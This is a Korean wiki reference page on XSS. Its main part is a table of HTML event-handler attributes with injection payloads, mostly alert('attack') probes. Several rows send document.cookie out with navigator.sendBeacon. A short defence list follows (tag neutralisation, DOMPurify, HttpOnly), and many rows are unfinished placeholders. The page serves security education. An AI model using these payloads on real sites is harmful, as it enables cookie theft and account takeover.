사용자 도구

사이트 도구


사이드바

기술문서:레퍼런스:보안:xss

문서의 이전 판입니다!


XSS

XSS (Cross Site Scripting) 공격과 방어

공격

HTML Event Attributes

속성 예시 비고
onabort - 강제 중단/취소
onactivate 1) 2) -
onafterprint 3) <body
onafterprint="alert('attack')">
</body>

<frameset
onafterprint="alert('attack')">
</frameset>
인쇄 후
- 인쇄
- 취소
onafterscriptexecute 4) 5) -
onafterupdate 6) -
onanimationcancel 7) - 강제 중단/취소
onanimationend 8) <span
onanimationend="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 9)
onanimationiteration 10) <span
onanimationiteration="alert('attack')"
style="animation:progress-bar-stripes 1s infinite">
</span>
자동 실행 11)
onanimationstart 12) <span
onanimationstart="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 13)
onappinstalled 14) 15) <body
onappinstalled="alert('attack')">
</body>
PWA 설치 성공 시
onauxclick 16) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onauxclick="alert('attack')">
(영역 내) 떼는 순간
- 왼쪽 버튼 이외
onbeforeactivate 17) 18) -
onbeforecopy 19) <span
onbeforecopy="alert('attack')">
Ctrl + C
</span>
복사 시작 시
onbeforecut 20) <span
onbeforecut="alert('attack')">
Ctrl + X
</span>
잘라내기 시작 시
onbeforedeactivate 21) 22) -
onbeforeeditfocus 23) 24) -
onbeforeinput <input
onbeforeinput="alert('attack')">
입력 직전
onbeforeinstallprompt 25) 26) <body
onbeforeinstallprompt="alert('attack')">
</body>
PWA 설치 가능 시
onbeforematch -
onbeforepaste 27) - 붙여넣기 시작 시
onbeforeprint 28) <body
onbeforeprint="alert('attack')">
</body>

<frameset
onbeforeprint="alert('attack')">
</frameset>
인쇄 전
onbeforescriptexecute 29) 30) -
onbeforetoggle FIXME FIXME
onbeforeunload 31) <body
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onbeforeupdate 32) -
onbegin 33) <svg width="0" height="0">
<animate
onbegin="alert('attack')">
</svg>
자동 실행
onblur 34) <input
onblur="alert('attack')">
포커스 이탈 시
onbounce 35) 36) -
oncancel -
oncanplay 37) FIXME FIXME
oncanplaythrough 38) FIXME FIXME
oncellchange 39) -
onchange 40) <input
onchange="alert('attack')">
1) 값 변경
2) 포커스 이탈 시
onchargingchange 41) -
onclick FIXME FIXME
onclose -
oncontentvisibilityautostatechange <span
oncontentvisibilityautostatechange="alert('attack')"
style="content-visibility:auto">
</span>
자동 실행
oncontextlost 42) -
oncontextmenu FIXME FIXME
oncontextrestored 43) -
oncontrolselect 44) -
oncopy 45) <span
oncopy="alert('attack')">
Ctrl + C
</span>
복사 실행 시
oncuechange 46) -
oncut 47) <span
oncut="alert('attack')">
Ctrl + X
</span>
잘라내기 실행 시
ondeactivate 48) 49) -
ondblclick FIXME FIXME
ondevicechange 50) -
ondevicemotion 51) -
ondeviceorientation 52) -
ondeviceorientationabsolute 53) -
ondrag FIXME FIXME
ondragend FIXME FIXME
ondragenter FIXME FIXME
ondragleave FIXME FIXME
ondragover FIXME FIXME
ondragstart FIXME FIXME
ondrop FIXME FIXME
ondurationchange 54) FIXME FIXME
onend 55) <svg width="0" height="0">
<animate
onend="alert('attack')"
dur="1s">
</svg>
자동 실행
onended 56) FIXME FIXME
onerror <img
src=""
onerror="alert('attack')">
자동 실행
onerrorupdate 57) -
onfilterchange 58) -
onfinish 59) 60) -
onfocus 61) <input
onfocus="alert('attack')">
포커스 진입 시
onfocusin 62) <input
onfocusin="alert('attack')">
포커스 진입 시
onfocusout 63) <input
onfocusout="alert('attack')">
포커스 이탈 시
onformchange - 1) 값 변경
2) 포커스 이탈 시
onformdata 64) -
onforminput - 입력 직후
onfreeze 65) -
onfscommand 66) 67) -
onfullscreenchange - 전체 화면 변경
onfullscreenerror - 전체 화면 오류
ongamepadconnected 68) -
ongamepaddisconnected 69) -
ongotpointercapture 70) - 제어권 획득
onhashchange - 해시(#) 변경 시
onhelp 71) -
oninput <input
oninput="alert('attack')">
입력 직후
oninvalid FIXME FIXME
onkeydown FIXME FIXME
onkeypress FIXME FIXME
onkeyup FIXME FIXME
onlanguagechange 72) 73) <body
onlanguagechange="alert('attack')">
</body>
브라우저 설정
- 언어 추가/삭제/이동
- 이 언어로 표시
onlayoutcomplete 74) -
onlevelchange 75) -
onload <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onload="alert('attack')">
자동 실행
onloadeddata 76) FIXME FIXME
onloadedmetadata 77) FIXME FIXME
onloadstart 78) <audio
src=""
onloadstart="alert('attack')">

<video
src=""
onloadstart="alert('attack')">
자동 실행
onlostpointercapture 79) - 제어권 상실
onmessage 80) -
onmessageerror 81) -
onmousedown FIXME FIXME
onmouseenter FIXME FIXME
onmouseleave FIXME FIXME
onmousemove FIXME FIXME
onmouseout FIXME FIXME
onmouseover FIXME FIXME
onmouseup FIXME FIXME
onmousewheel 82) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmousewheel="alert('attack')">
(영역 내) 마우스 휠
onmove 83) -
onmoveend 84) -
onmovestart 85) -
onmozfullscreenchange 86) - 전체 화면 변경
onmozfullscreenerror 87) - 전체 화면 오류
onoffline 88) - 온라인 → 오프라인
ononline 89) - 오프라인 → 온라인
onorientationchange 90) <body
onorientationchange="alert('attack')">
</body>
화면 회전
onpagehide 91) <body
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onpageshow 92) <body
onpageshow="alert('attack')">
</body>

<frameset
onpageshow="alert('attack')">
</frameset>
페이지 진입 시
onpaste 93) <span
onpaste="alert('attack')">
Ctrl + V
</span>
붙여넣기 실행 시
onpause 94) FIXME FIXME
onplay 95) FIXME FIXME
onplaying 96) FIXME FIXME
onpointercancel 97) - 강제 중단/취소
onpointerdown 98) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerdown="alert('attack')">
(영역 내) 누르는 순간
onpointerenter 99) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerenter="alert('attack')">
(영역 내) 진입 시
onpointerleave 100) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerleave="alert('attack')">
(영역 내) 이탈 시
onpointermove 101) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointermove="alert('attack')">
(영역 내) 이동 시
onpointerout 102) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerout="alert('attack')">
(영역 내) 이탈 시
onpointerover 103) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerover="alert('attack')">
(영역 내) 진입 시
onpointerrawupdate 104) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerrawupdate="alert('attack')">
(영역 내) 이동 시
onpointerup 105) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerup="alert('attack')">
(영역 내) 떼는 순간
onpopstate - 뒤로가기
onpresentationconnectionavailable 106) -
onprogress 107) FIXME FIXME
onpropertychange 108) -
onratechange 109) FIXME FIXME
onreadystatechange 110) -
onrejectionhandled 111) -
onrepeat 112) <svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="2">
</svg>

<svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="indefinite">
</svg>
자동 실행
onreset 113) -
onresize 114) <body
onresize="alert('attack')">
</body>

<frameset
onresize="alert('attack')">
</frameset>

<svg width="0" height="0"
onresize="alert('attack')">
</svg>
창 크기 변경
onresume 115) -
onrowenter 116) -
onrowexit 117) -
onrowsdelete 118) -
onrowsinserted 119) -
onscroll FIXME FIXME
onscrollend FIXME FIXME
onscrollsnapchange FIXME FIXME
onscrollsnapchanging FIXME FIXME
onsearch 120) <input
type="search"
onsearch="alert('attack')">
Enter 또는 x
onsecuritypolicyviolation -
onseeked 121) FIXME FIXME
onseeking 122) FIXME FIXME
onselect 123) <input
onselect="alert('attack')">

<textarea
onselect="alert('attack')">
</textarea>
텍스트 선택 시
onselectionchange -
onselectstart <span
onselectstart ="alert('attack')">
텍스트
</span>
드래그 시작 시
onshow 124) -
onslotchange -
onstalled 125) FIXME FIXME
onstart 126) 127) -
onstop 128) -
onstorage 129) -
onsubmit 130) -
onsuspend 131) FIXME FIXME
ontimeupdate 132) FIXME FIXME
ontoggle FIXME FIXME
ontouchcancel 133) - 강제 중단/취소
ontouchend 134) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchend="alert('attack')">
(영역 내) 떼는 순간
ontouchmove 135) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchmove="alert('attack')">
(영역 내) 이동 시
ontouchstart 136) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchstart="alert('attack')">
(영역 내) 누르는 순간
ontransitioncancel 137) -
ontransitionend 138) -
ontransitionrun 139) -
ontransitionstart 140) -
onunhandledrejection 141) -
onunload 142) <body
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onvisibilitychange -
onvolumechange 143) FIXME FIXME
onvrdisplayactivate 144) -
onvrdisplaydeactivate 145) -
onwaiting 146) FIXME FIXME
onwebkitanimationcancel 147) -
onwebkitanimationend 148) -
onwebkitanimationiteration 149) -
onwebkitanimationstart 150) -
onwebkitcurrentplaybacktargetisitemcontainerchange 151) -
onwebkitfullscreenchange 152) - 전체 화면 변경
onwebkitfullscreenerror 153) - 전체 화면 오류
onwebkitmouseforcechanged 154) -
onwebkitmouseforcedown 155) -
onwebkitmouseforceup 156) -
onwebkitmouseforcewillbegin 157) -
onwebkittransitioncancel 158) -
onwebkittransitionend 159) -
onwebkittransitionrun 160) -
onwebkittransitionstart 161) -
onwebkitwillrevealbottom 162) -
onwheel 163) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onwheel="alert('attack')">
(영역 내) 마우스 휠
onzoom 164) -

165) 166)

방어

  • 태그 무력화
  • DOMPurify 사용
  • HttpOnly 설정
1) , 17) , 21) , 35) , 48) , 59) , 83) , 84) , 85) , 108) , 126) , 128)
Internet Explorer / Edge Legacy
2) , 18) , 22) , 24) , 34) , 49) , 61) , 62) , 63)
포커스
3) , 28) , 31) , 91) , 92) , 142)
<body>, <frameset>
4) , 29) , 86) , 87)
Gecko 엔진
5) , 30)
<script>
6) , 23) , 32) , 39) , 44) , 57) , 58) , 66) , 71) , 74) , 116) , 117) , 118) , 119) , 164)
Internet Explorer
7) , 8) , 10) , 12)
CSS 애니메이션
9) , 11) , 13)
Bootstrap 3.x, 4.x, 5.x 사용 시
14) , 25)
Progressive Web App
15) , 26) , 73) , 90) , 129)
<body>
16) , 82) , 163)
마우스
19) , 20) , 27) , 45) , 47) , 93)
클립보드
33) , 55) , 112)
SVG 애니메이션
36) , 60) , 127)
<marquee>
37) , 38) , 54) , 56) , 76) , 77) , 78) , 94) , 95) , 96) , 107) , 109) , 121) , 122) , 125) , 131) , 132) , 143) , 146)
<audio>, <video>
40)
<input>, <textarea>, <select>
41) , 42) , 43) , 50) , 51) , 52) , 53) , 65) , 68) , 69) , 75) , 106) , 115) , 144) , 145)
하드웨어
46)
<track>
64) , 113) , 130)
<form>
67)
플래시
70) , 79) , 97) , 98) , 99) , 100) , 101) , 102) , 103) , 104) , 105)
포인터
72)
시스템
80) , 81) , 88) , 89)
네트워크
110) , 111) , 141)
비동기
114)
<body>, <frameset>, <svg>
120)
<input>
123)
<input>, <textarea>
124)
Firefox
133) , 134) , 135) , 136)
터치
137) , 138) , 139) , 140)
CSS 트랜지션
147) , 148) , 149) , 150) , 151) , 152) , 153) , 154) , 155) , 156) , 157) , 158) , 159) , 160) , 161) , 162)
WebKit 엔진